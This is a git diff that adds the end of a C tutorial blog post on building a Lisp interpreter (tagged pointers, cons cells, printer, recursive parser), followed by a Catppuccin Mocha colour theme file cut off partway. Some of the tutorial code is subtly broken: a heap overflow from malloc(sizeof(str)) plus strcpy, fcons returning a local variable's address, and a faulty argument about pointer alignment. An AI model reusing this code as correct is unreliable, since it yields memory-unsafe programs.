{ + cursor++; + continue; + } + + if(alloc <= sz+1) { + + alloc *= 2; + vec = (Token*) realloc(vec, sizeof(Token)*alloc); + } + + DEBUG("TOKEN: %s\n", Token_Type_Str[cur.type]); + + vec[sz++] = cur; + } + + *ret_sz = sz; + + return vec; +} +``` + +And that's about it for the lexer. + +== Representing S-Expressions + +Before we start to implement the parser we need to write the data types for it. +But this time it is a little bit different because the parser will generate a +data structure which can be executed. We are going to represent those structures +as lisp S-Expressions. + +First, let's define the type `Lisp_Object`, _(it has nothing to do with OOP's +objects)_, which will represent everything that a cons cell can hold as its car +or cdr. + +== Tagged Pointers + +There are a few ways that we could choose to represent `Lisp_Object`, we are +going to use tagged pointers, which are common in many Lisp implementations. + +Every variable in C has at least 8 bits, so every valid pointer points to an +address which is a multiple of 8. This means that the least significant bits of +a valid address will aways end with three zeros. So we can use these bits to +store additional information about what the pointer is pointing to. When we need +to deference it we just mask out those three bits. + +They are useful because a pointer usually occupies eight bytes and an `int` or +`float` just 4, so we can embed ints and floats into them, all we have to do is to +shift them up three bits. That's a huge improvement over deferencing a pointer +to an integer which is allocated on the heap. Using tagged pointers we can +utilize ints and floats on the stack. + + +Now, we will define a variable that will represent everything that a cons cell +can hold as its car and cdr: `Lisp_Object`. + +```c +typedef uintptr_t Lisp_Object; +#define NIL (Lisp_Object)0; +``` + +`Lisp_Object` is a tagged pointer, that's why we used `uintptr_t` _(it is +defined be a variable that can store a pointer)_. And now a few functions to +operate on it. + + +```c +enum Tag { + TAG_SYMBOL = 0, + TAG_NUMBER = 1, + TAG_CONS = 2 + /* ... */ +}; + +Lisp_Object ptr_tag(Lisp_Object obj, enum Tag tag) { + return obj | (int)tag; +} + +Lisp_Object ptr_untag(Lisp_Object obj) { + return obj & ~((Lisp_Object) 7); +} + +int ptr_getTag(Lisp_Object obj) { + return (int)(obj&7); +} + +``` +Those are the basic operations that we are going to be doing with them. But now we +need a few helper functions and macros to help us create new objects. + +```c +#define OBJ(val, type) \ + Obj_New_ ## type (val) + +Lisp_Object Obj_New_symbol(char* str) { + char* nstr = (char*) malloc(sizeof(str)); + strcpy(nstr, str); + Lisp_Object ret = ptr_tag((Lisp_Object)nstr, TAG_SYMBOL); + + return ret; +} + +Lisp_Object Obj_New_number(int val) { + Lisp_Object nval = val; + nval = val<<3; + + return ptr_tag(nval, TAG_NUMBER); +} + +typedef struct { + + Lisp_Object car; + Lisp_Object cdr; + +}Lisp_Cons_Cell; + +Lisp_Object fcons(Lisp_Object a, Lisp_Object b) { + Lisp_Cons_Cell* cell = (Lisp_Cons_Cell*) malloc(sizeof(Lisp_Cons_Cell)); + cell->car = a, cell->cdr = b; + + return ptr_tag((Lisp_Object)&cell, TAG_CONS); +} + +``` + +`OBJ` is a little helper macro do help us create new objects. We use it like +this: + +Lisp_Object a = OBJ("hello-there", symbol); +Lisp_Object b = OBJ(42, number); + +I didn't write a `Obj_New_cons` because we will be using the fcons function to +create new conses. + +== Printing S-Expressions +Before we start the parser itself we need to create a function to print +S-Expressions, in order to debug it. There's an algorithm for it but I won't get +into detail. Here it is: + +```c +void _Lisp_Print(Lisp_Object obj, int head); + +void Lisp_Print_cons(Lisp_Object obj, int head) { + if(head) putchar('('); + + _Lisp_Print(fcar(obj), 1); + + if(ptr_untag(fcdr(obj))==NIL) { + putchar(')'); + } else if(ptr_getTag(fcdr(obj))!=TAG_CONS) { + printf(" . "); + _Lisp_Print(fcdr(obj), 0); + putchar(')'); + } else { + putchar(' '); + _Lisp_Print(fcdr(obj), 0); + } +} + + +void _Lisp_Print(Lisp_Object obj, int head) { + enum Tag tag = ptr_getTag(obj); + + switch(tag) { + case TAG_NUMBER: + printf("%d", GET_VAL(obj, number)); + break; + case TAG_SYMBOL: + printf("%s", GET_VAL(obj, symbol)); + break; + case TAG_CONS: + Lisp_Print_cons(obj, head); + break; + default: + break; + } +} + + +void Lisp_Print(Lisp_Object obj) { + _Lisp_Print(obj, 1); + putchar('\n'); +} + +``` + +== The parser + +I really liked implementing a Lisp parser a for another interpreter a few days +ago, the algorithm is so simple! + +If a S-Expression is a list, whe can think of it as a list of atoms and for each +atom we parse it recursively. So, how do we parse a simple list? This is how it +would like in ~~py~~pseudocode: + +def parse (n): +obj = get_obj(n) + +if obj == nil: +return obj + +else: +return cons(obj, parse(n+1)) + + +It doesn't work for every S-Expression *yet*, but the main takeaway for it is that +you cons the current object with the rest of the list recursively. The only +difference between this and a complete parser is that the latter handles +parenthesis by parsing what is inside the current block and consing it with the +rest of the list. + +```c +Lisp_Object parse(Token* tokens, int pos, int sz) { + if(pos==sz) return NIL; /* the stop condition */ + + if(tokens[pos].type == TOKEN_OPEN) { + + Lisp_Object car = parse(tokens,pos+1,sz); + + int aux = 1, balance = -1; + + while(balance != 0) { /* Looking for the matching ) */ + + assert(aux+pos < sz); + + if(tokens[pos+aux].type == TOKEN_OPEN) + balance--; + if(tokens[pos+aux].type == TOKEN_CLOSE) + balance ++; + + aux++; + } + + Lisp_Object cdr = parse(tokens, pos+aux, sz); + + return fcons(car, cdr); + + } else if(tokens[pos].type == TOKEN_CLOSE) { + + return NIL; + + } else if(tokens[pos].type == TOKEN_NUMBER) { + + int n = tokens[pos].data.number; + Lisp_Object car = OBJ(n, number); + + return fcons(car, parse(tokens, pos+1, sz)); + + } else if(tokens[pos].type == TOKEN_SYMBOL) { + + char* str = tokens[pos].data.name; + + Lisp_Object car = OBJ(str, symbol); + return fcons(car, parse(tokens, pos+1, sz)); + + } + + return NIL; +} + +``` + +This code isn't that much different from the pseudocode that I've written +before, the main difference is the parenthesis handling. The code for this +article can be seen +[here](https://github.com/gbrls/lisp-interpreter/blob/a15eb40743e64e9cc60c9e01474050ebf25b59ec/main.c). + +Every cons and symbol in which we allocate are not fred, so our interpreter is +leaking memory. The solution for this is called garbage collection, we are going +to implement it in a latter article. diff --git a/trees/blog/mocha.tmTheme b/trees/blog/mocha.tmTheme new file mode 100644 index 0000000..3d4fef4 --- /dev/null +++ b/trees/blog/mocha.tmTheme @@ -0,0 +1,2010 @@ + +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> +<plist version="1.0"> + <dict> + <key>name</key> + <string>Catppuccin Mocha</string> + <key>semanticClass</key> + <string>theme.dark.catppuccin-mocha</string> + <key>uuid</key> + <string>627ce890-fabb-4d39-9819-7be71f4bdca7</string> + <key>author</key> + <string>Catppuccin Org</string> + <key>colorSpaceName</key> + <string>sRGB</string> + <key>settings</key> + <array> + <dict> + <key>settings</key> + <dict> + <key>background</key> + <string>#1e1e2e</string> + <key>foreground</key> + <string>#cdd6f4</string> + <key>caret</key> + <string>#f5e0dc</string> + <key>lineHighlight</key> + <string>#313244</string> + <key>misspelling</key> + <string>#f38ba8</string> + <key>accent</key> + <string>#cba6f7</string> + <key>selection</key> + <string>#9399b240</string> + <key>activeGuide</key> + <string>#45475a</string> + <key>findHighlight</key> + <string>#3e5767</string> + <key>gutterForeground</key> + <string>#7f849c</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Basic text & variable names (incl. leading punctuation)</string> + <key>scope</key> + <string>text, source, variable.other.readwrite, punctuation.definition.variable</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Parentheses, Brackets, Braces</string> + <key>scope</key> + <string>punctuation</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#9399b2</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Comments</string> + <key>scope</key> + <string>comment, punctuation.definition.comment</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#6c7086</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>string, punctuation.definition.string</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>constant.character.escape</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Booleans, constants, numbers</string> + <key>scope</key> + <string>constant.numeric, variable.other.constant, entity.name.constant, constant.language.boolean, constant.language.false, constant.language.true, keyword.other.unit.user-defined, keyword.other.unit.suffix.floating-point</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>keyword, keyword.operator.word, keyword.operator.new, variable.language.super, support.type.primitive, storage.type, storage.modifier, punctuation.definition.keyword</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>scope</key> + <string>entity.name.tag.documentation</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Punctuation</string> + <key>scope</key> + <string>keyword.operator, punctuation.accessor, punctuation.definition.generic, meta.function.closure punctuation.section.parameters, punctuation.definition.tag, punctuation.separator.key-value</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>entity.name.function, meta.function-call.method, support.function, support.function.misc, variable.function</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Classes</string> + <key>scope</key> + <string>entity.name.class, entity.other.inherited-class, support.class, meta.function-call.constructor, entity.name.struct</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + + </dict> + </dict> + <dict> + <key>name</key> + <string>Enum</string> + <key>scope</key> + <string>entity.name.enum</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Enum member</string> + <key>scope</key> + <string>meta.enum variable.other.readwrite, variable.other.enummember</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Object properties</string> + <key>scope</key> + <string>meta.property.object</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Types</string> + <key>scope</key> + <string>meta.type, meta.type-alias, support.type, entity.name.type</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + + </dict> + </dict> + <dict> + <key>name</key> + <string>Decorators</string> + <key>scope</key> + <string>meta.annotation variable.function, meta.annotation variable.annotation.function, meta.annotation punctuation.definition.annotation, meta.decorator, punctuation.decorator</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>variable.parameter, meta.function.parameters</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Built-ins</string> + <key>scope</key> + <string>constant.language, support.function.builtin</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>entity.other.attribute-name.documentation</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Preprocessor directives</string> + <key>scope</key> + <string>keyword.control.directive, punctuation.definition.directive</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Type parameters</string> + <key>scope</key> + <string>punctuation.definition.typeparameters</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Namespaces</string> + <key>scope</key> + <string>entity.name.namespace</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Property names (left hand assignments in json/yaml/css)</string> + <key>scope</key> + <string>support.type.property-name.css</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>This/Self keyword</string> + <key>scope</key> + <string>variable.language.this, variable.language.this punctuation.definition.variable</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Object properties</string> + <key>scope</key> + <string>variable.object.property</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>String template interpolation</string> + <key>scope</key> + <string>string.template variable, string variable</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>`new` as bold</string> + <key>scope</key> + <string>keyword.operator.new</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string>bold</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>C++ extern keyword</string> + <key>scope</key> + <string>storage.modifier.specifier.extern.cpp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>C++ scope resolution</string> + <key>scope</key> + <string>entity.name.scope-resolution.template.call.cpp, entity.name.scope-resolution.parameter.cpp, entity.name.scope-resolution.cpp, entity.name.scope-resolution.function.definition.cpp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>C++ doc keywords</string> + <key>scope</key> + <string>storage.type.class.doxygen</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>C++ operators</string> + <key>scope</key> + <string>storage.modifier.reference.cpp</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>C# Interpolated Strings</string> + <key>scope</key> + <string>meta.interpolation.cs</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>C# xml-style docs</string> + <key>scope</key> + <string>comment.block.documentation.cs</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Classes, reflecting the className color in JSX</string> + <key>scope</key> + <string>source.css entity.other.attribute-name.class.css, entity.other.attribute-name.parent-selector.css punctuation.definition.entity.css</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Operators</string> + <key>scope</key> + <string>punctuation.separator.operator.css</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Pseudo classes</string> + <key>scope</key> + <string>source.css entity.other.attribute-name.pseudo-class</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>source.css constant.other.unicode-range</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>source.css variable.parameter.url</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>CSS vendored property names</string> + <key>scope</key> + <string>support.type.vendored.property-name</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Less/SCSS right-hand variables (@/$-prefixed)</string> + <key>scope</key> + <string>source.css meta.property-value variable, source.css meta.property-value variable.other.less, source.css meta.property-value variable.other.less punctuation.definition.variable.less, meta.definition.variable.scss</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>CSS variables (--prefixed)</string> + <key>scope</key> + <string>source.css meta.property-list variable, meta.property-list variable.other.less, meta.property-list variable.other.less punctuation.definition.variable.less</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>CSS Percentage values, styled the same as numbers</string> + <key>scope</key> + <string>keyword.other.unit.percentage.css</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>CSS Attribute selectors, styled the same as strings</string> + <key>scope</key> + <string>source.css meta.attribute-selector</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>JSON/YAML keys, other left-hand assignments</string> + <key>scope</key> + <string>keyword.other.definition.ini, punctuation.support.type.property-name.json, support.type.property-name.json, punctuation.support.type.property-name.toml, support.type.property-name.toml, entity.name.tag.yaml, punctuation.support.type.property-name.yaml, support.type.property-name.yaml</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>JSON/YAML constants</string> + <key>scope</key> + <string>constant.language.json, constant.language.yaml</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>YAML anchors</string> + <key>scope</key> + <string>entity.name.type.anchor.yaml, variable.other.alias.yaml</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>TOML tables / ini groups</string> + <key>scope</key> + <string>support.type.property-name.table, entity.name.section.group-title.ini</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>TOML dates</string> + <key>scope</key> + <string>constant.other.time.datetime.offset.toml</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>YAML anchor puctuation</string> + <key>scope</key> + <string>punctuation.definition.anchor.yaml, punctuation.definition.alias.yaml</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>YAML triple dashes</string> + <key>scope</key> + <string>entity.other.document.begin.yaml</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Markup Diff</string> + <key>scope</key> + <string>markup.changed.diff</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Diff</string> + <key>scope</key> + <string>meta.diff.header.from-file, meta.diff.header.to-file, punctuation.definition.from-file.diff, punctuation.definition.to-file.diff</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Diff Inserted</string> + <key>scope</key> + <string>markup.inserted.diff</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#a6e3a1</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Diff Deleted</string> + <key>scope</key> + <string>markup.deleted.diff</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>dotenv left-hand side assignments</string> + <key>scope</key> + <string>variable.other.env</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>dotenv reference to existing env variable</string> + <key>scope</key> + <string>string.quoted variable.other.env</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>GDScript functions</string> + <key>scope</key> + <string>support.function.builtin.gdscript</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>GDScript constants</string> + <key>scope</key> + <string>constant.language.gdscript</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Comment keywords</string> + <key>scope</key> + <string>comment meta.annotation.go</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>go:embed, go:build, etc.</string> + <key>scope</key> + <string>comment meta.annotation.parameters.go</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Go constants (nil, true, false)</string> + <key>scope</key> + <string>constant.language.go</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>GraphQL variables</string> + <key>scope</key> + <string>variable.graphql</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>GraphQL aliases</string> + <key>scope</key> + <string>string.unquoted.alias.graphql</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f2cdcd</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>GraphQL enum members</string> + <key>scope</key> + <string>constant.character.enum.graphql</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>GraphQL field in types</string> + <key>scope</key> + <string>meta.objectvalues.graphql constant.object.key.graphql string.unquoted.graphql</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f2cdcd</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>HTML/XML DOCTYPE as keyword</string> + <key>scope</key> + <string>keyword.other.doctype, meta.tag.sgml.doctype punctuation.definition.tag, meta.tag.metadata.doctype entity.name.tag, meta.tag.metadata.doctype punctuation.definition.tag</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>HTML/XML-like <tags/></string> + <key>scope</key> + <string>entity.name.tag</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Special characters like &amp;</string> + <key>scope</key> + <string>text.html constant.character.entity, text.html constant.character.entity punctuation, constant.character.entity.xml, constant.character.entity.xml punctuation, constant.character.entity.js.jsx, constant.charactger.entity.js.jsx punctuation, constant.character.entity.tsx, constant.character.entity.tsx punctuation</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>HTML/XML tag attribute values</string> + <key>scope</key> + <string>entity.other.attribute-name</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Components</string> + <key>scope</key> + <string>support.class.component, support.class.component.jsx, support.class.component.tsx, support.class.component.vue</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f5c2e7</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Annotations</string> + <key>scope</key> + <string>punctuation.definition.annotation, storage.type.annotation</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Java enums</string> + <key>scope</key> + <string>constant.other.enum.java</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Java imports</string> + <key>scope</key> + <string>storage.modifier.import.java</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Javadoc</string> + <key>scope</key> + <string>comment.block.javadoc.java keyword.other.documentation.javadoc.java</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Exported Variable</string> + <key>scope</key> + <string>meta.export variable.other.readwrite.js</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>JS/TS constants & properties</string> + <key>scope</key> + <string>variable.other.constant.js, variable.other.constant.ts, variable.other.property.js, variable.other.property.ts</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>JSDoc; these are mainly params, so styled as such</string> + <key>scope</key> + <string>variable.other.jsdoc, comment.block.documentation variable.other</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>JSDoc keywords</string> + <key>scope</key> + <string>storage.type.class.jsdoc</string> + <key>settings</key> + <dict> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>scope</key> + <string>support.type.object.console.js</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Node constants as keywords (module, etc.)</string> + <key>scope</key> + <string>support.constant.node, support.type.object.module.js</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>implements as keyword</string> + <key>scope</key> + <string>storage.modifier.implements</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Builtin types</string> + <key>scope</key> + <string>constant.language.null.js, constant.language.null.ts, constant.language.undefined.js, constant.language.undefined.ts, support.type.builtin.ts</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>variable.parameter.generic</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Arrow functions</string> + <key>scope</key> + <string>keyword.declaration.function.arrow.js, storage.type.function.arrow.ts</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Decorator punctuations (decorators inherit from blue functions, instead of styleguide peach)</string> + <key>scope</key> + <string>punctuation.decorator.ts</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89b4fa</string> + + </dict> + </dict> + <dict> + <key>name</key> + <string>Extra JS/TS keywords</string> + <key>scope</key> + <string>keyword.operator.expression.in.js, keyword.operator.expression.in.ts, keyword.operator.expression.infer.ts, keyword.operator.expression.instanceof.js, keyword.operator.expression.instanceof.ts, keyword.operator.expression.is, keyword.operator.expression.keyof.ts, keyword.operator.expression.of.js, keyword.operator.expression.of.ts, keyword.operator.expression.typeof.ts</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Julia macros</string> + <key>scope</key> + <string>support.function.macro.julia</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + + </dict> + </dict> + <dict> + <key>name</key> + <string>Julia language constants (true, false)</string> + <key>scope</key> + <string>constant.language.julia</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Julia other constants (these seem to be arguments inside arrays)</string> + <key>scope</key> + <string>constant.other.symbol.julia</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#eba0ac</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>LaTeX preamble</string> + <key>scope</key> + <string>text.tex keyword.control.preamble</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#94e2d5</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>LaTeX be functions</string> + <key>scope</key> + <string>text.tex support.function.be</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#89dceb</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>LaTeX math</string> + <key>scope</key> + <string>constant.other.general.math.tex</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f2cdcd</string> + </dict> + </dict> + <dict> + <key>name</key> + <string>Lua docstring keywords</string> + <key>scope</key> + <string>comment.line.double-dash.documentation.lua storage.type.annotation.lua</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cba6f7</string> + <key>fontStyle</key> + <string/> + </dict> + </dict> + <dict> + <key>name</key> + <string>Lua docstring variables</string> + <key>scope</key> + <string>comment.line.double-dash.documentation.lua entity.name.variable.lua, comment.line.double-dash.documentation.lua variable.lua</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#cdd6f4</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>heading.1.markdown punctuation.definition.heading.markdown, heading.1.markdown, markup.heading.atx.1.mdx, markup.heading.atx.1.mdx punctuation.definition.heading.mdx, markup.heading.setext.1.markdown, markup.heading.heading-0.asciidoc</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f38ba8</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>heading.2.markdown punctuation.definition.heading.markdown, heading.2.markdown, markup.heading.atx.2.mdx, markup.heading.atx.2.mdx punctuation.definition.heading.mdx, markup.heading.setext.2.markdown, markup.heading.heading-1.asciidoc</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#fab387</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>heading.3.markdown punctuation.definition.heading.markdown, heading.3.markdown, markup.heading.atx.3.mdx, markup.heading.atx.3.mdx punctuation.definition.heading.mdx, markup.heading.heading-2.asciidoc</string> + <key>settings</key> + <dict> + <key>foreground</key> + <string>#f9e2af</string> + </dict> + </dict> + <dict> + <key>scope</key> + <string>heading.4.markdown punctuation.definition.heading.markdown, heading.4.markdown, markup.heading.atx.4.mdx, markup.heading.atx.4.mdx punctuation.definition.heading.mdx, markup.heading.heading-3.asciidoc</string> + <key>settings</key> + <dict> + 